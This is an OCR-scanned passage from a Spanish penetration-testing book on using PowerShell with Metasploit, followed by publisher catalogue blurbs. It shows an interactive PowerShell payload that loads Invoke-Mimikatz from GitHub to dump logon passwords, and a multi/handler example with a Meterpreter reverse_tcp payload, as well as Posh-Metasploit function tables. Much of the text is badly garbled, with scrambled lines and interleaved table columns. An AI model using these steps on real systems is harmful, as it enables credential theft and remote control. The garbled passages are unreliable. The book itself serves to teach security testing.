e ri gnem Zr]er? cuenta que tener una PowerShell interactiva permite acceder a todos los
p es del sistema operativo y productos de Microsoft. Ademds, permite ejecutar, como se ha

mencionado anteriormente. tod ]
. todos los scripts que la gente de 1a ¢ i
: om esarr es
encuentran accesible en Github. . e s

Por supuesto, tambié
5 n el pentester puede desarroll i i R :
PowerShell interactiva. p ar sus scripts y ejecutarlos a través de dicha
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-Shell runnd

2015 Micr

Length hame

702d9061ea465
EFS Software

Fig. 4.06: Obtencion de una PowerShell interactiva con Metasploi.

ili ; es que sus ramientas o
Una de las principales ventajas de utilizar PowerShell como payload es que suxdhena o
1 = ) or=1 ~ = S ) '8 LI roq 01‘
scripts estan escritos en PowerShell y, en la mayoria de ellas, no se accede al disco p
los sistemas antivirus no pueden detectar dichas herramientas.

: s mo 5 miti jecutar scripts
PowerShell estaba presente en Metasploir a través de algunos madulos que per mman' ejfc B dmfde
i ; g { i i loaa resenta aqui. La 1
Tani S per ateractiva como el payload que se p
o herramientas pero no de forma it g N e S,
se encuentra el payload interactivo de PowerShell es payload/windows/PowerShell re - fepy
pavload/windows/PowerShell_bind_tcp.

dTll( se € una Sesic crac i.‘rd > V 1 as € j otar alg a Fuinet al]illdad
L O 5¢ (]1 tlen '-) nter / dL o "‘L':'.’S/ elfll .\Jl s Vv ; I .LOI
| f sc UL(]L’ a i aeno i r.(l( t)’ 1') Vi ’]15 J, e! cua p€I nite ]ld]C(l]
] C 1li s bL (O D L ‘4 L .’1/ ()DL o
"‘4@ CT.SPI-IUN = l u lllZ atri : .
a upicac e .H e E (0] (le se encuent a1u gque se quiere cargar automaticamer te
i i y C ntra ] Nncion qu ] 3
i on d 1 ro.. )51 d n = 2 = :
- ¥ = - s 3 itz de 'UO} f;'] I y er
c ay 7 < € 3 ner a runcion ,[ A r{ -Vl ]i 1 ) q
con i p .'_}Lz"()m: . Sl S q‘“elt (l bp() e de : nvoke i:l”?'” [ VeropLoll cua .UIL
olra de cua q]]ier f‘p-ayng“.‘[)}'k es dlc‘]do en e ]bro se p ]ede Ind]car a traves de este atrlb]l‘{() P( )
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ejemplo, para afladir una funcion se i ndicard ser LOAD MODULES htips./fraw.githubusercontent.
('om/nmrzgf/ésmrim-z/Pom'e;'Sp!r)fr/.'nmter/Ex_"ﬁ!rrc.rn'on/fnvoA‘e-f\/ﬁm;'kmz_ps] . Si se quiere afiadir mas
funciones, se indican separadas por comas.

ter/Extiltration/Tnvoke -MimiKats

+] 192.1
‘1 Deleting \

[
[
i
[*]
[
(-
L

I
[

PRACTIC/
rporation.

Fig. 4.07: C arga de scripts en la sesion de PowerShell interactiva en Metasploit

Se puede valorar la posibilidad de utilizar un .psl que
del framework PowerSploit o Nishang. En algunos de
encuentra este tipo de scripr, el cual tiene un pe

cargue todas las funciones, por gjemplo
los frameworks comentados en el libro se
s0 grande ya que contiene todas lag funcionalidades.

Una vez realizada la explotacién ¥ ejecutado el pavload, se puede v
muestra la linea Loading Modules. El pavioad de PowerSh
funcion y la ha importado a la sesién interactiva de Powe
funcién importada automaticamente. tal Y COmo se

isualizar en la imagen como se
ell ha descargado automaticamente |z
rShell. En este instante se puede ejecutar la
puede visualizar en la imagen.

La funcién Invoke-Mimikatz, en este caso se ha ejecutado

a través de la PowerShell interactiva v
proporciona los resultados en la consola.

PRACTICAS-PC$ om PRACTICAS-PC
‘ight (C) 2015 Microsoft Conporation. ALl rights r

vi en C" (Feb 16 2015 220752

:tih;%eu
3 &
¥

- 34
i

mimikatz(powershell) # sekurlsa: :logon words

Fig. 4.08: Ejecucion de la fimcion Invoke-Mimikatz a tren

és de la PowerShell interactiva (1° parie).
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151260 (GEEEEEEE:00624edc)
active from 1

Buthentication Id

1-1285451244-1715528267 -2775765943-1006

59
3452041

i ) imi "aveés interactiva (2° parte).
4.08: Ejecucion de la funcion Tivoke-Mimikatz a través de la PowerShell interactive i

5. Posh-Metasploit

4 3 o r frere Tt Eta e o ~ un
Posh-Metasploit es un conjunto de modulos y funciones que automatiza }a mlulacuon con "
i ; i] objeti ' j 5 € recer enfester ur
servidor Merasploit via XMLRPC. El objetivo de estos modulos es la de ofrecer a C{J(;ustu% .
: ; 1 1 3 i & accio eR ex verShe
interaccién remota con Metasploit, pudiendo ejecutar cualquier tipo de accion a traves de fower

sobre Metasploit.

T - e o) f 3 4
Posh-Metasploit puede ser descargado desde su Github en la direccion URL hrips:/github.com/
darkoperator/Posh-Metasploil.
i intuitivo ¢ wloit Framework ir, viendo los
Posh-Metasploit ofrece un paralelismo intuitivo con Metasploit /.FLHH(‘»I{N]\. es declllq ooy
modulos que constan la solucion se puede observar una equivalencia clara. En otras p'adai ra5 q /
: ] : raleli e 50 de nsole
ha trabajado con la consola de Metasploit podra ver el paralelismo en el uso del modu (]) : oue "
de Posh-Metasploit. 1as categorias que pueden ser encontradas en Posh-Metasploit son las que se
enumeran a continuacion: |
- Console. Este madulo proporciona las funciones necesarias para interactuar con ¢
servidor de Metasploit como si estuviera utilizando msfconsole.
o n o> ) vt i 2 s EEN el -l
- Db. Este modulo proporciona al pentester las funciones necesarias para mteractuar con ul
motor de base de datos, tal y como se haria en Metasploit.
i funci i i S jos que
- Jobs. Este modulo proporciona las funciones necesarias para gestionar los trabajos g
pueden ser utilizados en Metasploit.
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- Module. Este médulo proporciona una gran cantidad de funciones que ayudan a gestionar
los diferentes modulos con sus diferentes tipos.

- Plugin. Este médulo gestiona los diferentes plugins que pueden ser afiadidos al firzmewaortk,
por ejemplo el plugin de Nessus, Nmap o Nexpose.

- Posh-Metasploit. Este médulo gestiona las sesiones con el servidor remoto,
creacion de éstas hasta la desconexién y eliminacion de la sesion.

desde Ia
- Session. Este médulo proporciona funciones que permiten gestionar éstas, desde sy
enumeracion hasta la interaccion,

- Variables. Este médulo proporciona funciones para gestionar las variables globales del
Jramework y almacenar la configuracion.

Console

El médulo console presenta todas las funciones necesarias para interactuar con la consola de
Metasploit en remoto. Quien ha utilizado la consola de Metasploir se hace una idea de todo lo que
se puede realizar con ella, pero generalmente lo que aportaran las funciones de PowerShell con este

médulo es la posibilidad de interactuar con la consola como si se estuy
interactuar con la consola se debe tener una sesién con el servidor creada I
consta de 6 funciones, las cuales como se menciond anteriormente permiten la gestion

iera delante de ella. Para
previamente. El médulo
e interaccién

con la consola de Merasploit. A continuacion se describen brevemente las funciones:

Funcion

Deseripcion

Get-MSFConsole

Esta funcion enumera las consolas que se encuentran activas por
parte del usuario sobre el servidor de Merasploit

New-MSFConsole

Esta funcion crea una nueva consola sobre ¢l servidor de Metasploir,
Para crear una nueva consola de puede utilizar New-MSEConsole
Id <identificador sesicn>

Remove-MSFConsole

Esta funcién elimina una consola abierta en el servidor de
Metasploit. Para eliminar una consola se puede gjecutar Remove-
MSFConsole —1d <identificador sesion> -Consoleld <identificador
consola que se obliene al creqrla=>

Write-MSFConsole

Esta funcidn permite escribir texto a través de la sesion de consola.
Un ejemplo serfa Write-MSFConsole —Id < identificador sesion=
-Consoleld <identificador consola> -Text “comando . Puede
resultar interesante enviar “'n” después del texto

Invoke-
MSEFConsoleCommeand

Esta funcion permite ejecutar comandos a través de una consola
remota. Para lograr esto se ejecuta Invoke-MSFConsoleCommand
—Id <identificador sesion> -Consoleld <ideniificador consola>
-Command “comando . Para poder leer la salida de la ejecucion del
comando se debe utilizar la funcién Read-MSFConsole
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Tabla 4.01: Funciones de Consale en Posh-Metasploit.

i j jecucion de
En el sitio web de Posh-Metasploit se pueden encontrar diversos ejemplos sobre la ejecu
estas funciones sobre un entorno real de Metasploit.

i : que i s trabajos en
En la imagen se puede visualizar como se invoca el comando Jo{J:s que propczlrc‘\;me:_ Lci i ido -
backgmu.nd o servicios que tiene montado el usuario en dicha sesion. Para 5)0 er lee _
. 16 - e.
Invoke-MSFConsoleCommend se hace uso de la funcion Read-MSFConso

—
=]

? -Commang "Sabs" | F

Db

; oke-MSFCansoleC el.
Fig. 4.09: Ejemplo de gjecucion de comandos a través de lim oke-MSFConsaleCanmman,

i i etasploi de datos
Este modulo proporciona funciones que permiten la gestion de Mez‘aaptlog con la bas(e):r o
que tenga configurada en el servidor. Esto puede ser util para almacenar informacion, por ]

tras realizar un escaneo con alglin médulo o plugin de Metasploit. A continuacion se describen lag
Funcion Descripcion o o
Esta funcién permite leer la salida de una ejecuciénldc dun C()ll‘.lfnl()io.
' i ‘ —Id <identificador sesion = -
Read-MSFConsole Un ejemplo seria Read-MSF Cant\;ole ifi - —
-Consoleld <identificador consola=

Set-MSFDBHost

Esta funcién permite crear un nuevo Aost en la base de datos, si
éste no se encuentra presente. Por ejemplo, Set-MSFDBHost —Id
<identificador sesidn> -IPAddress <direccion IP host=>

Get-MSFDBHost

Esta funcién devuelve un listado de los fosts que se encuentran en
la base de datos de Metasploit

Remove-MSFDBHost

Esta funcion permite eliminar uno o varios hoszs de la base de
datos de Metasploir

Get-MSFEDBServcie

Esta funcién permite obtener un listado de servicios de la base de
datos de Metasploit

Set-MSFDRBServeie

Esta funcién permite afiadir un nuevo servicio a la base de
datos de Metasploir. Un ejemplo serfa Set-MSFDBService —[d
<identificador sesién> -Port <puerto servicio> -Protocol TCP
~IPAddress <direccion IP servicio> -Siate <estado, por ejemplo
Open>

Remove-MSFDBServeie

Esta funcion permite eliminar un servicio de la base de datos de
Mertasploit

Set-MSFDBVirln

Esta funcioén permite afiadir una nueva vulnerabilidad en la base
de datos de Meiasploir. Un ejemplo seria Set-MSFDB Vil —Id
<identificador sesion> -Port <puerto de producto, por ejemplo
22> -Protocol TCP —Name “Nombre vilnerabilidad, por ejemplo
SSH Vuln" —IPAddress <direccion IP del REHOST>

-References
"CVE, BID, OSVDB, etcéterg>

Get-MSFDB Virln

Esta funcién devuelve un listado con las vulnerabilidades
que se encuentran en la base de datog de Metasploir. Estas
vulnerabilidades pueden haberse afiadido gracias a otra
herramienta y la importacién de sus datos, como por ejemplo
Nessus

Remove-MSFDBVuln

Esta funcién permite eliminar una vulnerabilidad de la base de
datos de Meraspioit

Ger-MSFDBNote

Esta funcion devuelve un listado de las notas que se hayan afadido
a la base de datos de Metasploit

Set-MSFDBNote

Esta funcién permite afadir o modificar una nota en [a base de
datos de Merasploit

Remove-MSFDBNote

Esta funcién permite eliminar una nota de la base de datos de

Metasploir
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Funcion Descripeién

Esta funcién devuelve un listado de eventos registrados en la
sesion de Metasploit. Es decir, cada vez que el usuario gjecuta un
Gei-MSFDREvent comando, ungrconsola se inicj,ia, ch-étera,_ S? r.egistra un evento.
Con esta funcion se pueden visualizar los distintos eventos de la
sesion. Un ejemplo serfa Ger-MSFDBEvent —id <identificador
sesion> -Limit <registros a consultar=

Esta funcién permite afiadir una credencial a la base de datos de

) Metasploit. Un ejemplo seria Set-MSFDBCred —Id <identificador
Set- D Gren sesion> -Port <puerto> -Username <nombre usuario> -Password
<contrasefiia> -Type Password —IP4ddress <direccion IP host>

Esta funcién devuelve un listado de credenciales recopiladas en la

CREEERPEIN base de datos de Metasploit
Get-MSFDBLoot Esta funcién devuelve un listado de los foot. recopilados en la base
de datos de Metasploit

Esta funcion devuelve el estado de la base de datos. La

Get-MSFDBStatuy : e ) ;
informacidn interesante aqui es el driver configurado

Esta funcién realiza la conexion a la base de datos. La instruccion
_ para llevar a cabo la conexién es Connect-MSFDB ~DBHost
CrRnimt SNrER <direccion IP host DB> -DatabaseName <nombre DBE>
-Credentiales (Get-Credential msf)

Disconnect-MSFDB Esta funcion realiza la desconexion de la base de datos

Get-MSFDBWorspace Esta funcion devuelve el listado de workspaces

Get- Esta funcién devuelve el listado actual de workspaces sobre el que
MSFDBCurrentWorspace Metasploit se estd ejecutando

New-MSFDBWorkspace Esta funcion permite afiadir un nuevo workspeace

Remove-MSFDBWorkspace Esta funcion elimina un workspace el cual se debe indicar

Set-MSFDBWorkspace Esta funcion afiade o modifica un workspace

Esta funcién permite importar informacion de escaneos con otras
herramientas a la base de datos de Metasploit. Un gjemplo seria
Import-MSFDBData = £ e g

Import-MSFDBData -Id <identificador sesion> -File <report.
nessus=>

Tabla 4.02: Funciones de Db en Posh-Metasploit.

Jobs

Este médulo proporciona al pentester las funciones necesarias para gestionar trabajos o Jobs que
Metasploit 1anza por debajo. Por ejemplo, cuando se lanza un médulo de tipo exploif con interaccion
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el usuar 1_0,, se suele ?euuar un servicio que espera las peticiones del usuario, esto serfa un Job., A
continuacion se describen las funciones que gestionan los Jobs en Metasploit: o

Funcién Descripeion

Esta funcion devuelve un listado de los Jobs at

. _ = JODS que se encuentran
Get-MSFJoh gjecutando en la sesion de Metasploit. Un ejemplo seria Ger-MSF.Job —Id
<identificador sesicn>

Esta funcién devuelve un listado de los Jobs que se encuentran ejecutando
en la sesion de Metasploit. Como afiadido la informacién que se devuelve
son todos los valores que se encuentran configurados en el Darastore de
dicho job

Get-MSFJobInfo

Remove-MSF.Job Esta funcién elimina un job que se encuentra ejecutando en Metasploit

Tabla 4.03: Funciones de Jobs en Posh-Metasploit.

Enlai isualizar i i6

a lmagen se pL}ede visualizar un ejemplo de recuperacion de Jobs de Metasploit y 1a informacion
que se obtiene. Es importante ver la informacion recuperada del Datastore, dénde se ;JLI(.‘dé‘ visualiz
la configuracion del médulo concreto. o

Fig. 4.10; Recuperacion de informacion de los job que ejecutan en Metasploir

Module

ESFZ 1‘:]]0dF|10 proporciona diferentes funciones que permiten gestionar e interactuar con los diferentes
m 5 i i i i : ;
_o ’u os de Me_ffzspz'mr. E:_;tas funciones ayudan a configurar ciertos médulos y poder ejecutarlos a
través de la sesion como si el usuario estuviera conectado a la consola

A continuacion se describen las diferentes funciones con algunos ejemplos:

Funcién Descripcion

Esta funcién proporciona un listado de estadisticas sobre
_el numero de médulos de cada tipo que se encuentra
disponible en la version de Metaspioir. Un ejemplo seria
Get-MSFModuleStats -Id <identificador sesion=

Get-MSFModuleStats
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Funcion Descripcion Fancioi a———
Esta funcién recarga todos los modulos de Metasploit,

Esta funcién permite ejecutar un médulo pasandole
la configuracién a través del pardmetro Options. Un

i s g Tn s Kl Invoke-MSFModule e.j’em plo seria lnvoke-MSFModule -Id <identificador
sesion> -Type exploit -Name “multi/handler” -Options (@)

Esta funcion recupera todos los modulos de tipo duxiliary {“PAYLOAD "= "windowsimeterpreterirever o
que hay cargados en Metasploit. Un ejemplo para OST"="192.168 56.10] " L };IORT":;QMQTICP ;' “LH
Get-MSFAuxiliaryModule recuperar médulos que hagan fuerza bruta al login podria : 444 } -Verbose
ser Get-MSFAuxiliaryModule -Id <identificador sesion™> |
where {$_.name -like “*login™"}
Esta funcién recupera todos los médulos de tipo Post que P]ugin
se encuentran cargados en Metasploit

actualizando el niimero de madulos si alguno hubiera sido

Teopker MGF dleRinlane afiadido desde la Gltima carga. Un ejemplo serfa Invoke-

Tabla 4.04: Funciones de Module en Posh-Meiasploit,

Get-MSF PostModule

sta categoria 0 médulo de Posh-Metasploit permite gestionar e interactuar con diferentes plugins

Esta funcién recupera todos los médulos de tipo Exploit desarrollados para mej 1 tenct -
ret-MSEEsploitMod, _ para mejorar la experiencia de Metaspioit dura i i
Ger-MSFRcplauMatisie que se encuentran cargados en Metasploit & e un test de intrusion,
5 - S Por ejemplo, se pued tili Inei : .
g Esta funcién recupera todos los médulos de tipo Payload » 5€ pueden utilizar p/ugins que integren herramientas como Nessus, Nimap o Nexoose
Get-MSFPayloadModule con el fin de aprovechar los resultados obtenidos en la fase de explotacién. A contin =

que se encuentran cargados en Metasploit Bci6H se detallan

las funciones que aporta e/ médulo:
Esta funcion recupera todos los médulos de tipo Nops que R :

I e PiORS se encuentran cargados en Merasploit

Esta funcion devuelve informacién sobre un modulo Funcién
concreto que debe ser indicado a través de los argumentos
Name y Tyipe. Un ejemplo serfa Get-MSFModulelnfo -Id Get-MSFLoadedPlugin

<identificador sesion> -Name multi‘handler -Tipe exploit

Descripcién

Esta funcién proporciona un listado de todos los plugins cargados
en Metasploit. Un ejemplo serja Get-MSFLoadedPlugin —Id
<identificador sesion>

Get-MSF Modulelnfo

{ Esta funcidn devuelve informacién sobre los médulos de Esta funcién permite registrar un plugin y de este modo —
: : sponer

Get- tipo pavioad que son compatibles con un médulo de tipo de Tos & _ :
exploit en concreto. Un ejemplo de esta funcionalidad PR—— ‘ . 11462‘622.2)1:‘?2;?;?0? ;ﬁfg[ii i?gn{ij Su comando equivalente
1 MSFExploitCompatiblePayload seria Ger-MSFExploitCompatiblePayload -Id CEISter- MO P lugin MSFPlugin -1d <i denfr’)];c "d ’ .n’ EJem\]?lo seria Register-
; ; = : : S~ nifjicddor sesion> -Name nessus
<identificador sesion> -Name windows/smb/psexec i i ) 5.y
j . posteriormente para ver si el plugin se ha cargado correctamente

Esta funcién devuelve todas las opciones y detalles con se lanzaria Ger-MSFLoadedPlugin —Id < identificador sesién>
los que esta configurado un mddulo. Se muestran tanto )
las opciones bésicas como las avanzadas. Un gjemplo
seria Ger-MSFModuleOptions -1d <identificador sesion=
-Name windows/meterpreter/reverse_tcp -Type payload
-Verbose

Esta funcién permite descargar o eliminar un plugin ya cargado.
UnRegister-MSFPlugin S.u comando equivalente en Metasplot seria unload <plzxgi11;. Un
ejemplo seria UnRegister-MSFPlugin —Id <identificador sesién>

-Name nessus

Get-MSF ModuleOptions

Tabla 4.05: Funciones de Plugi 5 i
§ : | . ; ginen Posh-Metasploit,
Esta funcién enumera qué sesiones, por ejemiplo de -

Meterpreter, ya abiertas en Metasploit son compatibles
con el madulo de Post-Exploitation que se indica como Posh
argumento. Un ejemplo seria Get-MSFCompatibleSession
-Id <identificador sesion> -Name “multi/general/
execute”

Ger-

MSFPostCompatibleSession Este médulo lleva el nombre idéntico del framework. Permite la gestién de las sesiones con el servidor
remoto de Metasploit via XMLRPC, desde la creacién de dichas sesiones hasta la desconexién y

eliminacion. A continuacién se describen las diferentes funciones que forman parte del médulo:
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Funcidén

Descripeién

New-MSFServerSession

Genera una nueva sesion dado un MSFRPCD. Un ejemplo seria
New-MSEServerSession -ComputerName 192.168.1.104 -Port
55533 -Credentials (Get-Credential msf)

Set-MSFAuthToken

Configura sobre una sesion existente un Authentication Token

Get-MSFServerSession

Esta funcion devuelve un listado de las sesiones que hay abiertas
con el servidor remoto

Remove-MSFServerSession

Esta funcién elimina una sesion existente en el servidor. La sesion
debe indicarse a través del parametro Id, por ejemplo Remove-
MSFServerSession -Id 2 —Verbose

Get-MSFCorelnfo

Esta funcion devuelve informacién sobre la version Core de una
sesion de Metasploit

Get-MSFAuthToken

Esta funcién devuelve informacién sobre el token de autenticacion
de una sesion

New-MSEAuthToken

Esta funcién genera un nuevo y permanente foken de autenticacion
en Metasploit

Remove-MSEAuthToken

Esta funcion elimina un foken de autenticacion conocido,
indicandole a través del parametro —Token

Get-MSFThread

Esta funcion devuelve un listado de hilos que se ejecutan en ¢l
servidor

Remove-MSFThread

Esta funcién detiene el hilo en ejecucion

% Get-PoshMSFersion

Esta funcién devuelve la version actual de Posh-Metasploit

Tabla 4.06: Funciones del médulo Posh-Metasploit en Posh-Metasploit.

f Session

Este médulo proporciona las funciones que permiten gestionar las sesiones, tras una explotacion
exitosa, que se tiene en Merasploil. La enumeracion de sesiones o como interactuar con ellas son
las funciones interesantes del médulo Session de Posh-Metasploit. A continuacion se detallan las

funciones que forman parte del modulo:

Funcion

Descripeion

Get-MSFSession

Esta funcién devuelve un listado de las sesiones que se
encuentran abiertas tras una explotacion. Dentro de los
valores que devuelve la funcion se encuentran algunos
interesantes como SessionID, via_exploit, session_host,
via_payload, platform o type entre otros. Un gjemplo

seria Get-MSFSession -Id <idemtificador sesion>
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Funcidn Descripcién

Esta funcién permite escribir texto a través de la
sesion de Meterpreter obtenida t 16
- ) 1 - ras la explotacion
Write-MSFMeterpreterConsole de una vulnerabilidad. Un ejemplo seri:: Write-
MSFMeterpreterConsole -Index 0 -Sessionld <ID sesion
Meterpreter> -Text “sysinfo'n”

Esta funcion permite leer resultados obtenidos fras la
escritura con Write-MSF MeterpreterConsole. Es decir.
con una funcién se escribe a través de la sesion para
Read-MSF MeterpreterConsole ejecutar una orden y con la otra funcién se recupera la
salida de lo escrito en consola. Un ejemplo seria Read-
MSF MeterpreterConsole —Id <identificador sesion=
-Sessionld <ID sesion Meterpreter>

Esta funcion devuelve un listado de médulos de tipo
Get- post que son compatibles con la sesidn que el usuario
tiene en la maquina comprometida. Un ejempl i
b - . jemplo seria
MSFSessionCompatPostMadule Get-MSFSessionCompatPostModule -Idd <identificador
sesion> -Sessionld <ID sesion Meterpreter>

Esta funcion ejecuta un comando a través de la consola
sobre una sesion de Meterprerer. El comando debe ser
Invoke-MSF Meterpreter Commuand propio de Meterpreter. Un ejemplo vélide es Iimvolke-
MSEFMMerterpreterCommand —ld <identificador sesion=
-Sessionld <ID sesion Meterpreter> -Command “getuid”

Esta funcion escribe un texto a través de una sesion
de shell. Un ejemplo seria Write-MSFSheliConsole
-1d <identificador sesion> -Sessionld <ID sesion
Meterpreter> -Text “ping -¢ 2 127.0.0.1 n"

Esta funcién permite leer la salida de los comandos
ejecutados a través de Write-MSFShellConsole. Un
ejemplo seria Read-MSFShellConsole -1d <identificador
sesion> -Sessionld <ID sesion Meremm.’erS

Write-MSEShellConsole

Read-MSFShellConsole

Esta funcion finaliza la sesion del payload que se indica a

Remove-MSFSession ;
través del parametro Sessionld

Tabla 4.07: Funciones de Variables en Posh-Metasploit.

A continuacion se puede visualizar la ejecucion de la funcién Invoke-MSFMeterpreterCommand,
con la que se consigue ejecutar un comando a través de una sesion de Meterpreter. La salida se
muestra autematicamente, por lo que se puede decir que esta funcion automatiza el proceso de
entrada y salida de datos, es decir, una sesién mas interactiva. El ejemplo puede encontrarse en la
documentacion de Posh-Metasploit.
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Inoka-MSFiMeterpretariomms Id @ -Sessicnld I -C chal getuid
Fig. 4.11: Ejecucién de comandos de Meterpreter a través de Invoke-MSFMeterpreter Commarnd.
Variables

Este médulo se encarga de interactuar con las variables, sobretodo globales, del Framework.
Ademés, permite gestionar el almacenamiento de las configuraciones que el usuario haya hecho
sobre el entorno, lo cual equipara a la ejecucion del comando save en Metasploit. A continuacion se
describen las funciones del médulo:

Funcion Descripcion
Esta funcién permite interactuar con el Datastore global de variables.
Set- Equivale 2 la utilizacién del comando setg <variable> <valor> en
3 Metasploit. Un ejemplo seria Set-MSFGlobalVariable -Id <identificador
MSFGlobalVariabl P Jemp -
Vrtobaltranie sesion> -Name LHOST -Value 192.168.56.101
L Esta funcién permite desasignar una variable global. Un ejemplo seria
MSEGlobalVariable | Remove-MSFGlobal Variable -Id <identificador sesion> -Name LHOST

Save-MSFConfig

Esta funcién almacena en la carpeta personal del usuario la
configuracion de Metasploit en ese instante. Es decir, todas las variables
asignadas en los maodulos, todos los cambios realizados, el madulo
activo, etcétera. Un ejemplo seria Save-MSFConfig -Id <identificador

sesion=

Tabla 4.08; Funciones de Variables en Posh-Metasploit,
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Una al dia

ad informatica

El DNI electronico estd entre nosotros, desde hace bastante
tiempo pero, desgraciadamente, el uso del mismo en su faceta
electronica no ha despegado. Todavia son pocas las empresas y los
particulares que sacan provecho de las funcionalidades que ofrece.
En este libro Rames Sarwat, de la empresa SmartAccess, desgrana
los fundamentos tecnoldgicos que estdn tras él, y muestra cémo
utilizar el DNI-e en entornos profesionales y particulares. Desde
autenticarse en los sistemas informaticos de una empresa, hasta
desarrollar aplicaciones que saquen partide del DN/-e,

Rames Sarwat es licenciado en Informatica por la Universidad
Politécnica de Madridy socio fundador y director de Smaridccess.
Anteriormente gjercié como Director de Consultoria en Microsoft..

Anuario ilustrado de seguridad informatica, anécdotas vy
entrevistas exclusivas... Casi todo lo que ha ocurrido en seguridad
en los Gltimos doce afios, estd dentro de “Unea al dia: 12 afios de
seguridad informatica”.

Para celebrar los dieciséis afios ininterrumpidos del boletin Una
al dia, hemos realizado un recorrido por toda una década de virus.
vulnerabilidades, fraudes, alertas, y reflexiones sobre la seguridad
en Internet. Desde una perspectiva amena y entretenida y con
un disefio sencillo y directo. Los 16 afios de Ura al dia sirven
de excusa para un libro que estd compuesto por material nuevo,
revisado y redactado desde la perspectiva del tiempo. Ademéds de
las entrevistas exclusivas y las anécdotas propias de Hispasec.]
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Sergio de los Santos

Combate las amenazas de hoy en Windows

Hacking y seguridad
en comunicaciones méviles
GSM/GPRS/UMTS/LTE

José Pico Garcia
David Pérez Conde

Lainformacion es clave en la preparacion de un test de penetracion.
Sin ella no es posible determinar qué atacar ni como hacerlo. Y los
buscadores se han convertido en herramientas fundamentales para
la mineria de datos y los procesos de inteligencia. Sin embargo,
pese a que las técnicas de Google Hacking lleven afios siendo
utilizadas, quiza no hayan sido siempre bien tratadas ni transmitidas
al publico. Limitarse a emplear Google Dorks conocidos o a usar
herramientas que automaticen esta tarea es, con respecto al uso de
los buscadores, lo mismo que usar una herramienta como Nessus,
o quiza el qutopwn de Metasploit, y pensar que se esta realizando
un test de penetracion. Por supuesto, estas herramientas son utiles,
pero se debe ir mas alld, comprender los problemas encontrados,
ser capaces de detectar otros nuevos... y combinar herramientas.

Hoy en dia no sufrimos las mismas amenazas (ni en cantidad ni
en calidad) que hace algunos afios. Y no sabemos cudles seran los
retos del mafiana. Hoy el problema mas grave es mitigar el impacto
causado por las vulnerabilidades en el sofiware v la complejidad
de los programas. Y eso no se consigue con una guia “tradicional”,
Y mucho menos si se perpetiian las recomendaciones “de toda
la vida” como “cortafuegos”, “antivirus” y “sentido comun”.
(Acaso no dispenemos de otras armas mucho mas potentes? No.
Disponemos de las herramientas “tradicionales” muy mejoradas,
cierto, pero también de otras tecnologias avanzadas para mitigar las
amenazas. El problema es que no son tan conocidas ni simples. Por
tanto es necesario leer el manual de instrucciones, entenderlas... y
aprovecharlas..,

Mis de 3.000 millones de usuarios en mas de 200 paises utilizamos
diariamente las comunicaciones moviles GSM/GPRS/UMTS
(2G/3G) para llevar a cabo conversaciones y transferencias de
datos. Pero, json seguras estas comunicaciones?. En los tiltimos
afios se han hecho piblicos multiples vulnerabilidades v ejemplos
de ataques précticos contra GSM/GPRS/UMTS que han puesto en
evidencia que no podemos simplemente confiar en su seguridad..

Descubra en este libro cudles son las vulnerabilidades y los
ataques contra GSM/GPRS/UMTS (2G/3G) v el estado respecto a
la nueva tecnologia LTE, comprenda las técnicas y conocimientos
que subyacen tras esos ataques y conozca qué puede hacer para
proteger sus comunicaciones moviles.
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SQL Injection
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Ataques en redes de datos
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La Administracion Espafiola lidera un encomiable esfuerzo hacia
el Desarrollo de la Sociedad de la Informacién en Espaiia, asi
como en el uso dptimo de las tecnologias de la Informacién en pro
de una prestacién de servicios mds eficiente hacia los ciudadanos.
Aunque este tipo de contenidos no siempre son ficiles de tratar
sin caer en un excesivo dogmatismo, sf es cierto que en el marco
de la Ley 11/2007 del 22 de Junio, de acceso electrénico de los
ciudadanos a los Servicios Publicos, se anuncié la creacion de los
Esquemas Nacionales de Interoperabilidad y de Seguridad con la
mision de garantizar un derecho ciudadano, lo que sin duda es un
reto y una responsabilidad de primera magnitud. Este manual sirve
para facilitar a los responsables de seguridad el cumplimiento de
los aspectos tecnoldgicos derivados del cumplimiento del ENS.

No es de extrafiar que los programas contengan fallos, errores.
que, bajo determinadas circunstancias los hagan funcionar de
forma extrafia. Que los conviertan en algo para lo que no estaban
disefiados. Aqui es donde entran en juego los posibles atacantes.
Pentesters, auditores,... y ciberdelincuentes. Para la organizacion,
mejor que sea uno de los primeros que uno de los ltimos. Pero para
la aplicacion, que no entra en valorar intenciones, no hay diferencia
entre ellos. Simplemente. son usuarios que hablan un extrafio
idioma en que los errores se denominan “vulnerabilidades”, y una
aplicacion defectuosa puede terminar convirtiendose, por ejemplo.
en una interfaz de usuario que le permita interactuar directamente
con la base de datos. Y basta con un tnico error.

Las redes de datos /P hace mucho tiempo que gobiernan nuestras
sociedades. Empresas, gobiernos y sistemas de interaccion
social se basan en redes TCP/IP. Sin embargo, estas redes tienen
vulnerabilidades que pueden ser aprovechadas por un atacante
para robar contrasefias, capturar conversaciones de voz, mensajes
de correo electrdnico o informacion transmitida desde servidores.
En este libro se analizan como funcionan los ataques de man in
the middle en redes IPv4 o IPv6, cémo por medio de estos ataques
se puede crakear una conexion VPN PPTP, robar la conexién de
un usuario al Active Directory o como suplantar identificadores
en aplicaciones para conseguir perpetrar una intrusion ademas del
ataque SLAAC, el funcionamiento de las técnicas ARP-Spoofing,
Neighbor Spoofing en IPve, etcétera.
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Hoy dia es innegable el imparable crecimiento que han tenido las
tecnologias de los dispositivos mdviles en los Gltimos afios. El
ntmero de smariphones, tablets, etcétera han aumentado de manera
exponencial. Esto ha sido asi, hasta tal punto que actualmente estos
dispositivos se han posicionado como tecnologias de maxima
prioridad para muchas empresas.

Con este libro se pueden adquirir los conocimientos necesarios
para desarrollar aplicaciones en i/OS, guiando al lector para que
aprenda a utilizar las herramientas y técnicas basicas para iniciarse
en el mundo iOS. Se pretende sentar unas bases, de manera que al
finalizar la lectura, el lector pueda convertirse en desarrollador /0S
y enfrentarse a proyectos de este sistema operativo por si mismo.

Microsoft Windows Server 2012 ha llegado con novedades cuyo
objetivo es simplificar las, cada vez maés, complejas tareas de
los administradores y profesionales /7. En el presente libro
se recogen la gran mayoria de dichas novedades entre las que
destacan la version 3.0 de Hyper-T, el servidor de virtualizacion
de Microsoft, el almacenamiento con su nuevo sistema de archivos
y sus propiedades, las mejoras y nuevas caracteristicas de Active
Directory, DNS'y DHCP, las novedosas férmulas de despliegue
eficiente, la ampliacion y mejora de la linea de comandos
Microsoft Windows PowerShell, y como no, la seguridad, un pilar
basico en la estructura de los productos Microsoft La idea del libro
es presentar las novedades y ahondar en los conceptos principales.

La seguridad de la informacion es uno de los mercados en auge en
la Informatica hoy en dia. Los gobiernos y empresas valoran sus
activos por lo que deben protegerlos de accesos ilicitos mediante
